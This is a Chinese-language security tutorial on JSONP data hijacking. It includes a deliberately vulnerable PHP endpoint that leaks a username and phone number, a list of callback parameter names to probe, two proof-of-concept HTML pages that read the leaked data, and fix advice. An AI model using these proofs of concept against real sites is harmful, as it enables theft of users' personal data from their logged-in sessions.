JSONP数据劫持漏洞

news2025/1/24 2:17:45

​介绍

JSONP(JSON with Padding)是 json 的一种"使用模式",可以让网页从别的域名(网站)那获取资料,即跨域读取数据;它利用的是script标签的 src 属性不受同源策略影响的特性,使网页可以得到从其他来源动态产生的 json 数据,因此可以用来实现跨域读取数据。

更通俗的说法:JSONP 就是利用 <script> 标签的跨域能力实现跨域数据的访问,请求动态生成的 JavaScript 脚本同时带一个 callback 函数名作为参数。服务端收到请求后,动态生成脚本产生数据,并在代码中以产生的数据为参数调用 callback 函数。

漏洞原理


和 CSRF 类似,都需要用户交互,而 CSRF 主要是以用户的账户进行增删改的操作,jsonp 则主要用来劫持数据。

当网站通过 JSONP 方式传递用户敏感信息时,攻击者可以伪造 JSONP 调用页面,诱导被攻击者访问来达到窃取用户信息的目的;jsonp 数据劫持就是攻击者获取了本应该传给网站其他接口的数据。


漏洞代码


假设这是目标网站上的代码,然后我们利用漏洞就可以劫持到里面的数据,如username、phone

<?php
//test.php
header('Content-type: application/json');
$callback = $_GET['callback'];
print $callback.'({"username" : "d4m1ts","phone" : "13888888888"});';
?>

快速启动 php 环境

php -S 127.0.0.1:9999
实现效果

利用场景


如上图,所有包含有callback等回调函数的,且请求方式为 GET,没有验证 referer 等,都可以尝试下该漏洞

如果返回内容是 json 格式的,但是没有回调函数,我们可以尝试手动添加回调函数去试试运气,一些常见的如下:

_callback=mstkey
_cb=mstkey
callback=mstkey
cb=mstkey
jsonp=mstkey
jsonpcallback=mstkey
jsonpcb=mstkey
jsonp_cb=mstkey
json=mstkey
jsoncallback=mstkey
jcb=mstkey
call=mstkey
callBack=mstkey
jsonpCallback=mstkey
jsonpCb=mstkey
jsonp_Cb=mstkey
jsonCallback=mstkey
ca=mstkey

漏洞利用


当我们发现信息泄露的 jsonp 接口以后,我们需要构造一个恶意 html 页面,然后引诱受害者去访问这个网站,一旦访问了这个网站,脚本就会自动运行,就会向这个接口请求用户的敏感数据,并传送到攻击者的服务器上。

POC

基于实现回调函数

<script>
function xxx(data)
{
  alert(data.username);
}
</script>
<script src="http://127.0.0.1:9999/test.php?callback=xxx"></script>

保存为 html,诱导受害者访问,可见成功获取到了username信息

image-20220322171224615

简而言之:存在信息泄漏的 JSONP 接口http://127.0.0.1:9999/test.php?callback=xxx,攻击者构造 POC 后诱导用户访问 POC,然后就会调用这个接口获取到敏感数据,获取到的敏感数据被攻击者截获了。

另一个 POC

基于 jquery

<script src="http://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script>
<script type="text/javascript">
    $.getJSON("http://127.0.0.1:9999/test.php?callback=?", function(data){
          alert(data.phone);
    });
</script>

image-20220322173916125

修复建议

扩展

修复建议

  1. 接受请求时检查referer来源;

  2. 在请求中添加token并在后端进行验证;

  3. 严格过滤 callback 函数名及 JSON 里数据的输出。

扩展

  • 如果目标的 header 头没有设置Content-Typejson,而是html,那么也可以造成 XSS 漏洞

  • 一个获取 QQ 号的 JSONP 劫持实例[1]

image-20220322185037473

  • 推荐阅读:JSONP 挖掘与高级利用[2]

参考资料

[1]一个获取 QQ 号的 JSONP 劫持实例: 
http://www.piaoyi.org/network/get-qq-haoma-js.html

[2]JSONP 挖掘与高级利用: 
http://drops.xmd5.com/static/drops/papers-6630.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/433930.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

GoNote第二章 Moudles

Go Modules 1. 介绍 Go modules是官方提供的go包管理工具&#xff0c;用于解决go包管理和依赖问题&#xff1b;从1.11开始引入&#xff0c;到现在1.14已经比较完善&#xff0c;1.16已经全面推荐使用&#xff0c;并且默认为开启&#xff1b;Go Modules类似于JS的NPM&#xff0…

校园小助手【GUI/Swing+MySQL】(Java课设)

系统类型 Swing窗口类型Mysql数据库存储数据 使用范围 适合作为Java课设&#xff01;&#xff01;&#xff01; 部署环境 jdk1.8Mysql8.0Idea或eclipsejdbc 运行效果 本系统源码地址&#xff1a; 更多系统资源库地址&#xff1a;骚戴的博客_CSDN_更多系统资源 更多系统…

Apple iWork(Pages、Numbers、Keynote)13.0 - 文档、电子表格、演示文稿

请访问原文链接&#xff1a;https://sysin.org/blog/apple-iwork-13/&#xff0c;查看最新版。原创作品&#xff0c;转载请保留出处。 作者主页&#xff1a;sysin.org 苹果今天将其专为 iOS 和 macOS 设备设计的 iWork 应用套件更新为版本 12 (sysin)&#xff0c;引入了许多新…

高并发服务器之泄峰

文章目录 背景前言解决方案泄峰 泄峰结果总结代码示例 背景 行业&#xff1a; 车联网机器配置&#xff1a;阿里云服务 8核 16G内存 3M带宽 阿里云操作系统单台server接入设备&#xff1a;5w终端产品&#xff1a;GPS定位设备终端与平台通信方式&#xff1a;TCP长链 前言 近期…

Linux中的五种IO模型

Linux中有以下五种IO模型 一、同步阻塞IO&#xff08;Blocking IO, BIO&#xff09; 用户进程发起IO调用后就阻塞线程让出CPU&#xff0c;等待内核处理完毕返回结果再唤醒继续执行。 二、同步非阻塞IO&#xff08;Non-Blocking IO, NIO&#xff09; 用户进程发起IO调用后就…

前端研发提质增效利器,TypeScirpt成功迁移详解

点击蓝字&#x1f446; 关注Agilean&#xff0c;获取一手干货 直播预告&#xff1a;Adapt 系列直播又双叒叕来啦&#xff01;最新一期我们将围绕「版本分支与环境」进行深入探讨&#xff0c;欢迎大家来直播间和主播互动哟&#xff5e; 点击下方右上角红色按钮「预约」&#x1f…

ESP32设备驱动-PAJ7620手势传感器驱动

PAJ7620手势传感器驱动 文章目录 PAJ7620手势传感器驱动2、硬件准备3、软件准备4、驱动实现PAJ7620 将手势识别功能与通用 I2C 接口集成到单个芯片中,形成图像分析传感器系统。 可识别上、下、左、右、前、后、顺时针、逆时针、挥手等9种人手手势。 它还提供内置的接近检测,以…

网络编程及项目思路

计算机和计算机之间通过网络进行数据传输 常见的软件架构&#xff1a; C/S:客户端/服务器 画面可以做的非常精美&#xff0c;用户体验好需要开发客户端&#xff0c;也需要开发服务端用户需要下载和更新的时候太麻烦 B/S:浏览器/服务器 不需要开发客户端&#xff0c;只需要…

java IO流_1

目录 分类 字节流 InputStream OutputStream 文件拷贝 字符流 FileReader FileWriter 处理流 BufferedReader BufferedWriter 文本拷贝 流是从起源到接受的有序数据&#xff0c;通过流的方式允许程序使用相同的方式来访问不同的输入/输出源。 分类 按数据…

SDK(动态链接库dll)的封装技巧

SDK(动态链接库dll)的封装技巧 一、说明 通过上篇文章&#xff0c;我们知道对于封装API&#xff0c;目的为了代码复用等&#xff0c;其中还有一个重要的原因&#xff0c;就是隐藏实现。 说到隐藏实现&#xff0c;在封装C的SDK库&#xff08;动态dll库&#xff09;时&#xff…

【获奖案例巡展】信创先锋之星——浙江省某市区视频能力中心

为表彰使用大数据、人工智能等基础软件为企业、行业或世界做出杰出贡献和巨大创新的标杆项目&#xff0c;星环科技自2021年推出了“新科技 星力量” 星环科技科技实践案例评选活动&#xff0c;旨在为各行业提供更多的优秀产品案例&#xff0c;彰显技术改变世界的力量&#xff0…

【id:33】【20分】C. 分数类(类与构造)

题目描述 完成下列分数类的实现: class CFraction { private: int fz, fm; public: CFraction(int fz_val, int fm_val) ; CFraction add(const CFraction &r); CFraction sub(const CFraction &r); CFraction mul(const CFraction &r);…

elementui的table组件,大量使用v-if导致列表渲染错乱,有的列渲染的值不对,有的列渲染出来的空值解决办法

记录一下&#xff1a; 这是同事碰上的&#xff0c;感觉挺奇怪的就研究了研究。 先说一下&#xff0c;之所以是同事那边碰到的而我这边碰不到这个问题&#xff0c;是因为我这边做 el-table-column 的时候&#xff0c;是先定义的 tableHeader: [...] 然后通过 v-for 遍历出来的…

【Linux】CentOS桥接模式配置静态IP

文章目录 1 前言2 桥接模式和NAT模式有什么区别3 校园网环境下配置桥接模式 1 前言 最近在安装的虚拟机上面用mosquitto搭建MQTT服务器&#xff0c;但是很奇怪的是每次电脑上的测试软件能顺利连接服务器&#xff0c;但是连接电脑热点的外部设备却不行&#xff0c;让我很是困惑。…

程序员随时担心被抛弃......大厂外包值不值得去?

外包”这个词经常被人提及&#xff0c;而且也经常被我们所“鄙夷”&#xff0c;很多人都在四处问&#xff1a;“软件外包公司到底能不能去”&#xff1f; 外包公司到底能不能学到真正的技术&#xff1f; 外包大厂能不能去&#xff1f; 今天就给大家详细分享下外包的利与弊 做…

DNS缓存失效,死循环访问造成连接数瞬间飚高的问题

0.背景介绍 某服务domain.com.cn 之前DNS解析到服务真实地址10.1.1.11&#xff0c;后面需要对用户登录增加黑名单功能&#xff0c;于是在openresty针对服务domain.com.cn的特性完成了黑名单功能。黑名单功能已经上线几个月&#xff0c;但是DNS从服务真实地址10.1.1.11切换到ope…

如何远程自己家里电脑

即使您认真地将数据保存到云中&#xff0c;远程访问家庭或办公室计算机上的计算机文件也可能会改变游戏规则。也许您正坐在旅馆房间里&#xff0c;需要在家用电脑上运行一个程序。 或者您出门在外&#xff0c;想在手机上运行桌面应用程序。 这就是远程桌面工具的用武之地。配置…

【ansj分词,英文被转换为了小写】

ansj分词&#xff0c;英文被转换为了小写 没有识别到词表解决方案jieba分词 没有识别到词表 因为数据是大写&#xff0c;词表是大写&#xff0c;ansj将数据转换成了小写&#xff0c;无法匹配&#xff0c;词表失效。将词表改为小写就可以成功分词。 这里ansj我们的词表就是一列…

rdma IBV_SEND_FENCE标记位理解

参考rxe驱动代码&#xff0c; 在rxe_req.c文件里&#xff0c;取wqe时&#xff0c;会调用req_next_wqe函数&#xff0c; 在函数的最后有个判断&#xff0c; qp->req.wait_fence设置为1&#xff0c;然后返回NULL&#xff0c;所以rxe_requester函数直接退出了&#xff0c;不会…

【Linux】网络编程入门(TCP + UDP)

目录简述&#xff1a; 前言&#xff1a; 一、网络通信概述 二、网络编程主要函数 &#xff08;1&#xff09;socket函数 &#xff08;2&#xff09;bind函数 &#xff08;3&#xff09;bind函数 &#xff08;4&#xff09;accept函数 &#xff08;5&#xff09;connect…